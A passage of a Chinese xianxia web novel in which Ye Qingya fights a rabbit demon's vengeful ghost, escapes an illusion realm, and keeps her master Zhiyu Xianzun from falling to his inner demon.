这之后天高海阔,她便去寻找拓荒者的踪迹。
望月镇里一片萧索,小摊上的水果、发簪、织布等物件都来不及收,在青石板铺就的街道上散落一地。
挨家挨户全都锁紧门窗,叶清雅轻声叩响街边亮着的窗户,礼貌询问。
“您好,我想和您打听个事儿。”
里面的灯光摇晃两下,灭了个干净,无人应答。
叶清雅踩着雨水啪嗒啪嗒走远,余光中瞥见有人家把窗户打开一条缝,在偷偷观察她。
整个镇子都乱糟糟的,唯独镇南镇北两个大户人家门前干净敞亮,房檐上的灯笼挂得整整齐齐,仿佛镇里的变故与他们无关。
叶清雅认出了其中一户的门楣,她寄宿珠子的时候,来过这里。
身后有什么东西匆匆跑过,脚步声轻快又不规律,应该是只受伤的动物。
叶清雅寻着黑影消失的方向追去,看到一只白团子在啃小摊边滚落的胡萝卜。
叶清雅轻手轻脚地凑到跟前,是只白兔。
她忍不住伸手把它抱起来,越看越觉得熟悉,吃惊地喊道,“兔姨?你怎么在这儿?”
在叶清雅还是小水豚的时候,这只兔妖没少给自己吃胡萝卜,只不过现在它眼神空洞,和记忆里那只娇俏可爱的白兔不太像。
兔妖后腿给叶清雅当胸一踹,从她怀里跳出去数米远,叶清雅捂着发疼的胸口想追上去。
咳嗽着大喊,“兔姨、是你吗兔姨?等等我!”
这时,肩膀被什么人按住,她一声惊呼,转头看到止语仙尊生气的面容。
叶清雅尴尬得僵在原地,那一瞬间她真想引雷劫下来和面前这人同归于尽,但想想对方渡劫期的修为还是作罢。
随即装出一副委屈的落难相,哭诉着,“呜呜呜,师父我终于找到你了。”
止语仙尊向旁边一指,“躲好,别出来。”
白兔在二人前方不远处端坐着,眼里闪着幽幽绿光。
“兔姨!”
叶清雅迈步上前,又被止语仙尊拽回来。
他沉静开口,“不是兔姨,是鬼妖。”
叶清雅不解,“鬼妖是什么?”
止语仙尊拔剑出鞘,“妖惨死后怨念积聚化成的厉鬼就是鬼妖,其力量远高于妖生前修为,不可轻敌。”
叶清雅心脏狂跳,她这才发现兔妖和之前到底哪里不一样——以前兔妖的眼睛是红色的。
说话间,远处的兔妖扭曲成庞然大物,张着血盆大口向两人扑来。
止语仙尊迎面而战,黑气中的剑影若隐若现,水花四溅,周围街摊被撕得粉碎。
深邃的黑夜像活过来一般,蚕食着叶清雅不多的勇气。
叶清雅攥紧手中的竹子不敢上前。
她看到那只怪物和止语仙尊战得不可开交,凌厉剑气不时扫过一旁的白兔躯壳,仿佛下一秒就会被撕得粉碎。
“兔姨...”
叶清雅咬紧下唇,心一横,蹑手蹑脚地绕到白兔那里,把它紧紧搂入怀中。
“兔姨不怕,我带你回家。”
白兔紧闭的双眼突然睁开,红色的眼珠无神地睁着,“小朋友,肚子还痛不痛啊。”
“不...”
止语仙尊焦急大喊,“放开它!”
他一剑挑开怪物,飞身赶去叶清雅身边,没注意到边上的怪物化为缕缕黑气回到本体中。
还没等叶清雅说完,白兔眼神陡然一变,青绿色的眼睛恶毒得流出了血泪。
“乖,死了就不疼了。”
扑哧一声,兔妖本体被钉在地上。
止语仙尊身上已经受了不少伤,强撑着走到叶清雅身前,以为她被吓呆了。
他微微喘息,轻声说,“又让它逃了。抱着兔姨走吧,它没了本体对我们不利,这地方太显眼,得赶快离开。”
眼前人没回应,止语仙尊伸出手要扶她起来,手掌却错过了叶清雅的肩膀,整个人歪倒在雨地里,猛然呛咳出一口血。
胸口处钻心得疼,他这才看到叶清雅跪着的脚地上有着被雨水冲开的淡淡的血迹。
失去意识前,止语仙尊想把叶清雅变成水豚形态,可体内的灵力偏偏这时不听使唤,怎么都用不出来。
他粗喘着气被迫沉入无边梦魇。
.......
清脆的铃铛声响过,叶清雅茫然地跟着声音的方向走去。
青年书生手拿小金铃推门进屋,和坐在床边的少妇相视一笑,目光落在她怀中巴掌大的小兔子身上。
“娘子,这铃儿给我们孩子可好?”
书生拿着铃铛在小兔上方晃了晃,逗得它直
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立起身够小金铃。
妇人抱着小兔一脸宠溺,“好,你看它甚是喜欢呢。”
书生把母女俩揽到怀里,眼里闪过一丝不易察觉的贪婪。
“娘子,孩子都这么大了,你与我结契可好?”
低头看向妇人时又变成了那双含情脉脉的桃花眼,“以后我们一家人永远不分开。”
妇人倚偎在书生怀中,“好。”
天色暗沉,屋子里的人换了装束,妇人怀中的小兔散成飞灰无影无踪。
妇人却浑然不觉,机械般地下床到桌边掌灯,回身时眼神已经变得狠戾。
她质问着书生,“你到底要干什么。
你说要给我们一个家,现在又要娶你那个青梅竹马,你之前发过的誓都不作数吗?”
书生眼底乌青,泪水断线般落下,抬手间一把匕首从袖中滑出,他一声惊呼,还没来得及捡起来藏好,就被妇人拿起借着灯光仔细端详。
妇人紧抿双唇,握刀柄的手在微微颤抖。
“这是什做么?你要杀我?”
书生慌乱上前想把妇人拥入怀中,看着对方破碎的眼神又缓缓缩手。
“不、不是这样的。”
他抱着头在屋里来回踱步,似是下了很大决心才决定说出来。
“捉妖师抓走了玲儿,他们、他们要我用你的妖丹去换她。”说完就泄气般地蹲在脚地上。
叶清雅被迫转换视角,猛然回神发现自己穿到了妇人身体里。
此时妇人的手不再颤抖,她深吸一口气,对书生说,“一定把她带回来。”
她们看到了书生抬头看自己,泪眼中隐隐有着期待。
叶清雅手中的匕首不受控制地被抬高,照着丹田处狠狠刺下,她挣扎着脱离,却越陷越深。
“叶清雅。”
从现实传来的呼唤响彻叶清雅的灵台,帮她瞬间认清自己身处梦中,一股强大的神识包裹着她,送她离开梦魇。
叶清雅被丢出来后回到自己身体里,甩了甩脑袋,瓢泼大雨打在身上,恍如隔世。
她挣扎起身,看到止语仙尊躺在她身后不省人事,一团黑气正在旁边发出阴冷的笑声。
叶清雅捡起止语仙尊的剑对准黑气。
黑气渐渐凝聚成实体,幻化成一个妇人模样,正是叶清雅在梦中见到的那个女人。
“为什么要背叛我,为什么要夺我修为,你们人类都该死。”
妇人每说一句黑气便涨一分。
叶清雅自诩没有佛陀超度的本事,她无奈闭眼,再睁开时眼含悲悯。
“兔姨,对不住,我会还你清白。”
叶清雅控制飞剑升到半空加速旋转,同时御竹飞向镇外开阔处。
鬼妖果然紧随而来,发出凄厉的尖叫。
与此同时叶清雅解开修为压制,肆意吸收天地灵气,一举突破修为屏障达到筑基期。
叶清雅心里慌得一批。
一边嘟囔着“电生磁、磁生电”分散注意力。
一边强迫自己忽略头顶上越聚越多的雷电,调用全部灵力控制着飞剑越转越快。
生死在此一搏。
漫天闪电劈空落下,在高速旋转的飞剑周围越聚越多,随着叶清雅一声喝令,全部向鬼妖劈去。
方圆十里尽成焦土,叶清雅躺在天坑边上,双目圆睁,咳了个死去活来。
天坑中心一片灰烬,鬼妖承受了雷劫大部分伤害,早已飞灰湮灭。
叶清雅灰头土脸地从地上爬起来,浑身酸痛,咬牙忍着,马不停蹄地御竹赶往望月镇。
5. 误入迷踪
回去的路很长,就在叶清雅感觉快到落月镇的时候,自己冷不丁闯入了一片热闹的城池。
小城里商铺林立,沿街的叫卖声此起彼伏,完全不像是刚刚经历过鬼妖袭击的模样。
除了被雨水打湿的青石板路没变,叶清雅已经认不出是在哪个街道和止语仙尊分别的,只好逐一找过去。
她一头扎进集市里隐蔽的小巷,来到相对冷清的后街。
隔壁巷子传来吵闹声,叶清雅仔细聆听,像是一群小孩子在打架。
她循着声音翻过高墙,果然看见四个十几岁的孩子围成个半圆,正对中心的人拳脚相加。
自称老大的小孩对着地上的人说,“你不是能听懂畜生说话吗,我让你趴地上给我叫两声,叫啊。”
叶清雅藏在房檐上,隔着施暴者,正正对上一道倔强的目光,那小孩被打得鼻青脸肿,依旧一声不吭。
叶清雅估摸着自己的实力,修士对凡人小菜一碟,况且是他们有错在先,她这也算是替天行道。
叶清雅从墙上一跃而下,抱着被打趴的小孩溜之大吉,嘴里念念有词,“别怪我不给你出气,我若动手可是会出人命的。”
小孩把脸埋在叶清雅怀里,小声说,“谢谢。”
叶清雅心里美滋滋的,带他跨越半座城后才停下,松开怀里的男孩,柔声问,“你家在哪里呀,我送你回去。”
谁知小孩紧紧搂住叶清雅,默不作声。
不一会儿,叶清雅感觉前襟一片濡湿,捧起小孩的脸一看,泪水鼻涕糊了他满脸。
叶清雅眉头深锁,掀起小孩的衣服给他擦眼泪,“哭什么,他们打你都不会打回去的吗。”
一边在心里吐槽自己被打得那么惨都不掉眼泪,莫非这孩子反射弧太长刚刚反应过来?
小孩儿的脸擦干净了,叶清雅的衣领亮晶晶地暴露在空气中,她也不好意思表现得太明显,怕伤了小孩自尊,但不擦自己又有洁癖,一时左右为难卡得她难受。
小孩哭声渐歇,踮脚凑到叶清雅跟前,拿袖子给她擦了擦衣领,羞愧地说,“对不起。”
叶清雅轻声道谢,顺势拉起小孩的手,在街道上漫无目的地闲逛,“你是怕回家挨骂吗,我可以帮你说情。”
男孩挣脱了叶清雅的手,仰头问她,“为什么不要我。”
叶清雅疑惑反问,“我没有义务养你吧。”
男孩的眼泪夺眶而出,扭头跑掉了,转眼没了身影。
叶清雅自我安慰,这个年纪的小孩都叛逆,等他在外面吃够苦头就愿意回家了。
叶清雅找遍城镇并没有发现姓万的人家,更离奇的是,城里白天乌云密布,城中采光却和晴天别无二致;晚上星空万里,又偏偏阴雨连绵。
深夜,叶清雅在城郊的废弃草屋落脚,冷风从本该有门的地方肆无忌惮地往里灌。
借着星光,叶清雅看到一只呆头呆脑的水豚固执地立在屋前,仿佛有一道无形的门把它挡在了外面。
叶清雅在屋里看着门口的小家伙,这只水豚很像自己的宿主原来养的那只,叶清雅爱屋及乌,看着它更顺眼些,抬手招呼它进屋。
水豚果然迈着小短腿走进屋,却只是到墙角处趴着,眯眼瞧着叶清雅,雨水顺着它身上滑下慢慢汇聚成小水滩。
叶清雅走上前,伸手要摸摸他油亮的毛发,小水豚一打滚躲开了。叶清雅再摸,小水豚再滚。
几个回合后,小水豚干脆滚到床底下怎么叫都不出来。
叶清雅趁着雨还不大,到别家菜地里偷两根胡萝卜拿回草屋,诱惑着小水豚从床底下钻出来,趁机把它抱到怀中从头撸到尾。
幼年水豚小小一只,细软的毛发摸在手里很舒服。叶清雅顺着小水豚脊背往下摸,一片光滑,不禁可惜,要是这里有条蓬松的大尾巴就好了。
小水豚浑身一抖,从叶清雅身上跳下来,赌气般地把嘴里的半根胡萝卜扔到叶清雅脚下,钻到床底呼噜噜地喘气。
叶清雅随便打个地铺,看着漆黑的床底,想着这小家伙气性还挺大。
夜半风急雨骤,本就粗陋的屋子更加摇摇欲坠。
叶清雅自筑基以来不再需要吃饭睡觉,可她还保留着这一习惯,此刻看着屋子漏风又漏雨,平白生出独在异乡的飘零之感。
天亮时叶清雅睁开眼,怀里缩着个暖宝宝,低头看到小水豚挤在自己怀里睡得正香。
叶清雅有一搭无一搭地给小水豚顺毛。
叶清雅给小水豚备下小山高的胡萝卜作为饯别礼,踏上竹枝向最近的城门飞去。
她明明走的直线,一个时辰后又回到了破草屋。
大白天的居然遇到了鬼打墙。
叶清雅不信邪,再次启程。
飞过城中心时为了掩人耳目,改为步行。
叶清雅刚从巷子里钻出来,不远处一阵混乱,人群如潮水般向两边退去。
一女子策马扬鞭、意气风发,她大喊着,“前门问斩妖兽,上等妖丹包治百病、口服即可得道成仙,价高者得。”
刚刚让出的道路很快被更多人填上,叶清雅猝不及防地被人流拥挤着朝前走,所有人跟着了魔般,眼里全是对妖丹的渴望。
前门广场的高台上,红木地板暗沉得发亮,空气中弥散着铁锈味儿。
长街纵马的女子此时已经换上红色官服,手拿长鞭依次指过长桌上摆放整齐的一排珠子。
五颜六色的珠子宛如活物般闪烁着,凡人只消看一眼,便再也挪不开目光。
“新鲜的妖丹,价高者得,各位出价吧。”
红衣女子带着盈盈笑意看着台下众人疯子般开出筹码,自己下令数十名小兵到人群中维持秩序,而后走到高台正中间的刑柱前,那上面用铁链锁着位五六岁模样的男孩。
叶清雅的直觉告诉她,这不是一场普通的拍卖,而是有预谋的虐杀。
她看到红衣女子像欣赏艺术品般看着台下癫狂的人群,趴在男孩耳边低声说着什么,男孩只说了三个字,看口型像是“再等等”,而后任女孩说什么都没再开口。
“还等什么,等到碎尸万段还坚持你那可笑的道心?”
“他们为了贪欲连畜生都不如,我只是让你做自己怎么就不开窍呢。”
“入魔吧,只要你更坏,没人敢动你。”
男孩
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固执地摇摇头。
红衣女子哂笑一声,“那我就让你彻底死心。”
她接过小兵递过来的清单,宣布竞拍结果。
“张氏拍得上品狐妖丹一颗,出价占地十亩的祖宅一份。”
其他妖丹全被拍走,筹码从倾国倾城的美女,到上品官爵,更有甚者出价千年寿命。
红衣女子质疑道,“蝼蚁朱氏,你连三十年都活不到,何来千年寿命?怕不是想空手套白狼吧。”
朱氏男子跳出来说,“我压上全家寿命总算够了吧。”
全场无一人反驳,似是觉得这再正常不过。
叶清雅看不下去,出声劝阻,“你家人的命不是商品,你没有权利拿来抵押。”
朱氏男子旁边的人说,“等家主得道成仙,我等皆可沾光,你此时出声阻拦,岂不是包藏祸心。”
又有人附和,“对呀,今天是人皇陛下开恩,我们小老百姓才能得此机缘,你上一边眼红去,莫要断我等仙路。”
众人齐刷刷转头看向叶清雅,漆黑的眼珠无一不在提醒着她谁才是异类。
台上响起清脆的掌声,红衣女孩眼含赞许走上前,“不知者无罪,这位小姐肯定不知妖丹的妙处,我们不如请她来揭开最后一个妖丹的真面目吧。”
叶清雅被众人抬举着送到台上,红衣女孩亲切地拉着叶清雅的手,语重心长地说,“自愿献出的妖丹有市无价,你要是能哄他与你结契,今日姐姐做主把妖丹送你,如何。”
台下百姓一阵惊呼,纷纷嫉妒起叶清雅的好运气。
说话间叶清雅手里被塞进匕首,她向男孩那边看去,正巧对上他的目光,叶清雅一眼认出他就是昨天那个孩子。
叶清雅看着男孩麻木的双眼,握着匕首指尖用力到发白,强压怒气回道,“他还只是个孩子。”
红衣女孩食指轻抵薄唇,“错,是畜生。”
说罢,抬手把一团黑气打入男孩体内,后者呜咽一声,眨眼间变成水豚掉到台上。
叶清雅大脑瞬间清明,原来男孩是修成人形的妖兽,昨天他是在向自己求救。
叶清雅上前把水豚捡起半抱着说,“想让它听话,总得给我些时间。”
红衣女子莞尔一笑,“你们昨天不是很亲近吗,怎么过一宿就忘了?”
叶清雅怒目瞪视,腰间别的宝剑不断嗡鸣,“你监视我。”
红衣女子依旧脸上带笑,款步上前,“这可不兴说,来者是客,我这是尽地主之谊关心你哪。”
眼看红衣女子离自己越来越近,叶清雅出声喝止,“站住。”
这时,人群中有人喊话,“她是妖兽,大家别被她蛊惑了。”
叶清雅心中一喜,果然不是所有人都丧心病狂,只要自己联合众人反抗红衣女子,就还有胜算。
台下百姓群情激愤,小兵们快控制不住全场秩序,喊话声此起彼伏传到叶清雅耳朵中。
“她就是叶家那个妖精闺女,杀了她算是为民除害。”
“怪不得她总唱反调,原来不是人啊。”
局势瞬间逆转,叶清雅如五雷轰顶,原来她早已深陷局中,竟从未察觉。
6. 幻境之主
叶清雅抱着小水豚后退到刑柱前,心中闪过无数种逃跑路径,最终都乱成一团无从厘清。
她手握住剑柄缓缓抽出,却听到一声幽幽长叹。
“不要硬闯,按我说的做。”
叶清雅还没来得及寻找声音来源,脑海中就浮现出一道繁复的阵法,看得她眼花缭乱。
就像课堂上老师一闪而过的投影,脑子永远跟不上符文成形的速度,始终慢几拍。
那道声音适时传来,“不需要你知道怎么画,跟着它往里注入灵力。”
在叶清雅专心致志接受指导的时候,怀中的小水豚抬起前腿把毛茸茸的脑袋蹭上去,睁着一双眯眯眼似笑非笑地看着她。
叶清雅对上小水豚的视线,心中一紧,穿越来的种种一并闪过,似乎跟什么连上了线。
她回视着小水豚,声音发颤,“仙尊,是你吗。”
小水豚合上眼,把头埋到叶清雅的怀中,扑簌簌抖着小耳朵。
叶清雅忍不住揉了几下小水豚的头顶,过了好一会儿止语仙尊的声音才再次响起。
“把符咒灌入灵力,找个时机打入她的体内。”
叶清雅微不可查地点点头,不再追问仙尊变成这样的缘由。
她其实很能理解止语仙尊的心情,堂堂仙尊变成妖兽这事儿,绝对不比她自己变成珠子的黑历史更黑。
叶清雅眉头舒展,手掌暗自蓄力,转眼间把匕首掷向红衣女子,直冲她天灵盖而去。
红衣女子轻嗤一声道,“雕虫小技。”轻而易举地用两根手指夹住了刀刃,随手一甩把匕首斜插到地上。
叶清雅态度谦逊,不急不徐地说道,“自是比不上您道法高深,您说是吧,兔姨。”
说话间红衣女子露在外面的皮肤浮现金色纹路,体内灵力不稳影响到幻术,那张年轻女子的脸融化变形,渐渐显出本相。
正是兔妖。
兔妖身份败露刚想放弃皮囊逃之夭夭,就被身上的金色符文像渔网一样越收越紧,已然逃不出去了。
兔妖这才意识到是那把匕首的问题,恨铁不成钢地盯着叶清雅——的怀中,“你居然帮她,真是、无可救药。”
化身小水豚的止语仙尊也不搭理兔妖,紧绷的身体松懈下来,对叶清雅传音道,“还不算太笨,能看出这是幻境。”
这次轮到叶清雅惊讶了。
她举起小水豚和他大眼瞪小眼,“什么?幻境?难道这些人都是假的吗?”
止语仙尊真想紧急撤回那句夸赞,他这名义上的徒弟修为提升后,连带着傻劲儿也见长了。
止语仙尊用小短腿拍了拍叶清雅手背,“带着她去万府,我的身体在那儿。”
叶清雅心中不解,兔妖都被抓住了这幻境怎么还不破?而且台下百姓的不满已经累积到极点,见到执行长官被抓,一个个丧失了理智,变得更加瘆人。
眼见场面要失控,叶清雅快步上前,右手揣着水豚,左手拽着兔妖御竹疾驰。迎风大喊着,“万府在哪儿?”
止语仙尊说,“去找日月更替如常的地方,这幻境原本就设在望月镇附近,不会太远。”
一阵尖锐的疼痛从手臂上传来,叶清雅闷哼出声,险些松手。
兔妖见偷袭不得,愈发用力,血肉撕裂声湮没在空中。
叶清雅并未在意,只因刺痛很快散去,被兔妖咬伤的地方快速愈合,这种偷袭跟挠痒痒一般。
可止语仙尊藏住流血的手臂,向下扫过一眼,沉声道,“继续收紧符咒,逼她现原形。”
叶清雅想象着大活人被压缩打包的画面,心里一阵翻腾,宁可生受着痛也不愿收紧符文。
止语仙尊拗不过这个犟种,可若叶清雅受伤,自己便会承担一半伤害,再像这样僵持下去他的手腕也该断了,便亲自跳到兔妖身上逼她化成了黑气。
叶清雅无奈,只好把黑气收入衣袖。
叶清雅揉了揉酸痛的手腕,上面清晰的牙印在肉眼可见地消散,她不禁沾沾自喜,原来修仙还有快速自愈的奇效,怪不得那些炼了几千年的老妖精都还是鹤发童颜。
万府其实很好找,诺大幻境中只有那一片天空下着大雨,形成一道雨幕结界把万府封锁其中。
止语仙尊提醒道,“这道符文最多撑两个时辰,真正破除幻境还需勘破兔妖执念。”
叶清雅立刻联想到了那个年轻书生,为了妖丹不惜杀妻卖女、步步为营,既然兔妖就是那位妇人的化身,结合万府的特殊情况,那青年书生很可能就是万府的某位少爷。
叶清雅把自己的猜测和止语仙尊说了一遍。
叶清雅:“只是我想不通兔姨为什么这么执着要杀我,难道只因为我是人类吗。”
止语仙尊:“嗯。你和他很像。”
究竟像在哪里,止语仙尊并未多说,现下兔姨变成一团黑气口不能言,真相只能靠叶清雅自己去找。
穿过雨幕,灵力在一瞬间失灵,叶清雅猝不及防从半空掉下去,好在是低空飞行,加上强大的自愈能力,她在地上打了两个滚就恢复如常。
“仙尊?”
叶清雅到处找不到止语仙尊,眼下她被雨水浇得湿漉漉的,循着十余丈的通道走到尽头,发现一扇朱漆大门。
叶清雅轻轻地推门而入,放低脚步声,唯恐惊扰幻境或是现实中的“活物”。
什么东西嗖地一下扑到了叶清雅怀里,她低头一看,是个还不到自己胸口的奶团子。
奶团子闷头叫道,“姥爷!”
许是闻到自己身上不同于男子的香气,奶团子慢腾腾地仰起小脸,嘟囔着,“不是姥爷”。
叶清雅心里一惊,这奶团子简直是止语仙尊的Q版,就连古井无波的眼神都极像,否则普通奶团子见到陌生人闯入自己家里应该会害怕才对。
这奶团子却不紧不慢地走到院子的大水缸前,踩着小椅子“噗通”一声翻了进去。
叶清雅慌忙上前,水缸里两条细胳膊破水而出,搭在缸沿上。奶团子从水里冒出头,趴在水缸边把眼睛眯成一条缝。
叶清雅一时拿不准这里是不是幻境,试探性地问道,“你和姥爷一起住吗?你的爸爸妈妈呢?”
奶团子平淡地说,“死了。”
那语气就像说“吃饱了”、“我困了”一样稀松平常。
叶清雅微微皱眉,直言不讳道,“你就不想他们,不伤心吗?”
水珠从奶团子被打湿的碎发上滴落,他甩甩头,皱起眉头,似乎在思考一件很复杂的事。
奶团子:“姥爷也这么说过,可我想不通为什么要伤心。”
叶清雅伸手摸向奶团子的胸口,她要看看冷血之人到底有没有心。
有的。
奶团子的心脏有力地跳动着,看向叶清雅的眼睛充满求知的渴望。
身体相触的一刹那,无数片段涌入叶清雅的脑海。
她看见一个男人教导奶团子如何笑、如何哭,告诉他进门要出来迎人,别人欺负自己要不开心,从人情世故到七
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情六欲,无一不落。
奶团子也不知学会了多少,从奶团子长成少年郎,始终呆头呆脑的。
直到那一日男人把他送上仙门拜师,奶团子潸然泪下,哭求着男人不要抛弃他。
可男人还是走了。
一晃经年,奶团子长成了少年郎,他听说男人落难的消息后毫不犹豫孤身前往,却中计被困,性命难保。
叶清雅的额头上传来丝丝冰凉,记忆碎片的传输被打断。她猛然回神,捉住那只摸上自己额头的小手,再看奶团子时已没有了先前的嫌弃。
叶清雅郑重说道,“不想伤心就别伤心,父母给你生命是让你活出自己的样子,永远不要为任何人去活。”
奶团子从叶清雅那儿抽回手,“可是姥爷说,人有了重要之人才能活下去。”
叶清雅对此嗤之以鼻,“道貌岸然的人除外。”
她想起记忆中被折磨得体无完肤的少年,越发厌恶起那个被称作姥爷的男人。
叶清雅说,“你姥爷教你的是怎么讨好这个社会,但存在即合理。讨好别人前,先取悦你自己。”
奶团子似懂非懂地点点头,缩到水里泡着。
空气中传来木珠相碰的脆响,叶清雅警惕地扫视周围,空落落的院子并无第三人,只有水缸里偶尔传来奶团子吐泡泡的声音。
叶清雅忽感后背一阵寒凉,左脚撤步敏捷回身,一掌拍开了那只伸向自己的手。
转动木珠的手指停止了动作,轻轻摩挲着被拍红的手掌。眼前人嗔怪道,“清雅,这才几天不见就与我生分了呢。”
那一颦一笑与兔妖幻境里的青年书生一模一样。
叶清雅气得心肝发颤,让兔姨丢掉性命和孩子的原来是他,如果现在除掉这个罪魁祸首,说不定就能了结兔妖的执念。
叶清雅唰得拔剑出鞘,直冲着书生脑袋削去。
书生向后一闪,头顶的高帽被剑气扫落,两只长长的兔耳朵从他脑袋上竖起来。
叶清雅被吓了一跳,不自觉往后退了一步,握剑的手在小幅度颤抖,倒吸口冷气。
叶清雅:“你、是人还是妖。”
书生抬手往头顶虚探一下,没有摸到帽子,尴尬地放下手,无奈地看着叶清雅,“如果你不杀了他,就会变成我这幅鬼样子。你夫君我可是给你指了一条明路,怎么就是不听话呢。”
叶清雅满脸黑线,一时不知是不是又变成了幻境中某个身份,耐着性子试探问道,“我何时与你结婚的?”
书生上下打量着叶清雅,围着她踱步,缓缓开口,“我与你青梅竹马,一早便定了亲。
你与我许下的誓言我可是记得一清二楚,你怎的忘了。”
叶清雅眉头一挑,“我可不是你的良缘,正主在此,你去和她解释吧。”
说罢从怀里掏出兔妖扔向万公子,却被一道屏障阻拦在半空。
兔妖见到仇人杀红了眼,黑气把万公子团团包围,试图突破面前的屏障。
万公子的声音从里面传来,“果然死过一次就是不一样,这下你还要敷衍我你吃下的不是妖丹吗。”
他轻笑一声,开始捻起手里的木珠,“起死回生之术,你可别让我失望啊。”
青砖黛瓦轰然崩塌,万公子和兔妖相互纠缠着与沉沉黑幕融合到一起。
可他的声音却随着地动震撼着叶清雅,引得她一阵恶寒。
“你们之中只有一个人能走出这里。”
“清雅,我等你跟我回家。”
7. 不许入魔
叶清雅下意识回身去捞奶团子,手臂捞了个空,视线之内一片虚无。
她能感知到幻境在重组,可她却什么也看不见,直到再也承受不住绝对黑暗的压迫感,跌倒在地。
地动山摇过后,叶清雅摸索着起身,一抬头便撞上铁板。
浓重的血腥气呛入肺管,可她不敢咳嗽不敢出声,一股无形的力量拼命挤压她的五脏六腑,偏生她毫无还手之力。
黑暗放大了叶清雅的恐惧,逼得她快要疯了。
沉重的黑幕被骤然掀起,天光大亮。
一阵钥匙转动锁扣的哗啦声,铁笼门被打开。
强光刺得叶清雅睁不开眼,她被人抱出去时身体还止不住地颤抖,那人的脚步声很轻,怀抱却坚实有力让人心安。
“我只能送你到这儿,小狐狸快走,别被他们发现。”
听声音还是个孩子。
叶清雅被放到地上手脚并用跑到远处,一条蓬松的尾巴扫过身前,自己追着它跑了一阵,余光中瞥见不远处的那少年正看着自己。
那眼神应当是羡慕。
少年向自己摆摆手,催促自己快走。
远处传来吵嚷声,少年收紧双拳,钻入草丛不见踪影,不久后远处徘徊的人声也跟着一同散去。
叶清雅犹豫着跟上去,来到一条小巷。
五打一,那少年毫无还手之力。
“好不容易抓来的妖兽都让你放跑了,你拿什么赔!”
施暴中的一人瞥见叶清雅的身影,大喊着其他人,“还有只没跑,抓住它!”
伤痕累累的少年不知哪来的力气冲到叶清雅身边,紧紧护住她。
四周场景在迅速崩塌,最后定格在一片废墟里。
叶清雅站在废墟中央,面前躺着一个浑身是血的少年,两人脚下地缝里渗满了血,密密麻麻像蛛网一样把两人围在中间。
刚才还神采奕奕的少年,现在神情恹恹地匍匐在地,像是在等着什么宣判。
叶清雅环视四周,断壁残垣、大地龟裂,显然是刚刚经历过一场恶战。
叶清雅借着地上的血泊打量自己现在的容貌。
迷雾遮脸,那便可幻化成任何心中所想之人。
少年用自己的鲜血在血阵上落下最后一笔,勉强抬起头狠狠瞪视闯入阵中的不速之客,不论是谁,他都下定主意拼尽最后一口气与敌人同归于尽。
少年盯着来者不甚清楚的面庞,恍惚觉得似曾相识。
他用力眨眼聚焦视线,瞳孔骤缩,眸中目光瞬间柔和下来,眼眶里盈满委屈的泪水,慌忙用衣袖擦着地上的血迹,哽咽着说,“姥爷...走、快离开这儿!”
这声“姥爷”证实了叶清雅心里的猜测,前后几个幻境她都遇到了止语仙尊,虽说是兔妖的执念,但现在万公子横插一脚,她怀疑这完全是止语仙尊自己的心魔。
叶清雅毫不犹豫地迈入阵中走向浑身颤抖的少年。
忽然,她脚步一顿问道,“我且考考你,姥爷是哪几个字?”
少年不懂这突如其来的文字考核是何意图,木讷答道,“年长的‘老’,阿耶的耶,不,树叶的‘叶’。”
叶清雅心里咯噔一声,亏她还担心是不是止语仙尊着了万公子的道,合着从始至终他都知道是她,还拿自己的姓氏开玩笑?
叶清雅为自己泛滥的同情心哀嚎,因为刚穿越来刷新三观的事儿很多,以致于完全忽略了接收端处理当地语言的时候用的是古语,就算是“姥爷”,也应该是叫“外祖父”啊。
叶清雅气冲冲地走到少年面前蹲下,“演够了吗,起来干活。”
她用右手的食指和中指轻点少年额头,将自己体内灵气渡过去大半。
叶清雅盘膝而坐,微微喘息,看着少年的眼神从委屈到疑惑再到更加疑惑。
没有丝毫效果。
然而灵力大量消耗让她精神不济,上下眼皮直打架。
周围呼啦啦围过来一片黑影,其中不乏万公子这样似人非妖的存在,也有几只正常妖兽,但是周身都缠绕着黑气。
少年催动灵力,血阵发出莹莹红光,却迟迟不发动。
“我救了你们,现在却来杀我。”
少年十指紧紧抠进土里,又慢慢卸了劲,眼神茫然露出苦笑。
“那便同归于尽吧。”
“等等。”
眼见事态严重,叶清雅赶忙出声阻止。
少年果真停下动作看向她,那神态,叶清雅还以为止语仙尊回来了。
其实她始终不明白,止语仙尊明明是渡劫期大能,为何会被困在小小幻境中?
可眼下容不得她多想。
而所谓的心魔、执念,无非就是求不得、放不下。
如果任由止语仙尊发动阵法,那么一切都将灰飞烟灭,便会重现先前在记忆碎片里见到的惨状。
叶清雅蹲下安抚着少年,“信我,这次我来保护你。”
不等少年回答,叶清雅幻化出一条灵力锁,隔空抓取一只妖兽将它五花大绑扔到一边。
外围的妖兽和人被瞬间激怒,怒吼着扑上来,叶清雅背起少年,如法炮制,把一个个前来挑衅的都捆成粽子。
汗水浸透了衣衫,叶清雅感觉背上的少年越来越重,她随手抓了一把胸前的衣裳,手心一片鲜红,不知是自己的,还是少年的。
即使穷途末路,叶清雅也未动任何杀招。
少年问道,“为什么不杀他们。”
叶清雅掩嘴咳嗽两声,咽下一口腥甜,回道,“你想杀他们吗。”
少年趴在叶清雅肩头默不作声。
叶清雅接连放倒数人,终是不敌半跪在地。
叶清雅把少年放到地上,正好是血阵中央。
眼皮越来越重,视线模糊,可那些袭击者还未肃清,十来个黑影缓缓逼近,叶清雅刻意忽略他们,强打精神对少年说,“你当初为了自保没得选,现在我给你做的选择,仙尊可喜欢?”
少年眉头紧锁,丝丝黑气从体内散出,已是入魔的前兆。
叶清雅眼疾手快,揪着刚冒头的黑气“啵”得一声连根拔出,少年脑海里的某根弦跟着断开,眼里溢满震惊。
叶清雅道,“不许入魔。是妖是鬼我都给你制住了,以后慢慢想办法净化,都会好起来的。”
少年道,“可是妖死不能复生,它们的命谁来偿。”
叶清雅道,“谁都好,都不值得搭上你自己。”
少年哽咽道,“可我想让他们回来。”
一时间数十条黑气从少年体内冒出,叶清雅没有精力再一根根拔除,她拉起少年的手,往上放了一颗石子。
少年不明所以,仍是静静看着。
叶清雅牵着他的手把石子一颗一颗码在地上,柔声说道,“小时候我不开心,妈妈就带我摞石子。只有心足够静,石子才能越垒越高。”
两人合力叠了十五颗石子后,叶清雅说,“怎样,感觉心情好点了吗
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。”
不等少年回答,叶清雅轻拍他的肩膀说道,“抱歉,我真的不知道拿走了你什么东西。
不过我把剩下的灵力给你,快些长大吧,小仙尊。”
大量灵力涌入少年体内,又飘散到空中成为幻境的供养,叶清雅浑然不觉,灵力透支晕了过去。
少年·止语仙尊看着垒到胸口高的石堆,忽然觉得留着此人,似乎比杀掉更有趣。
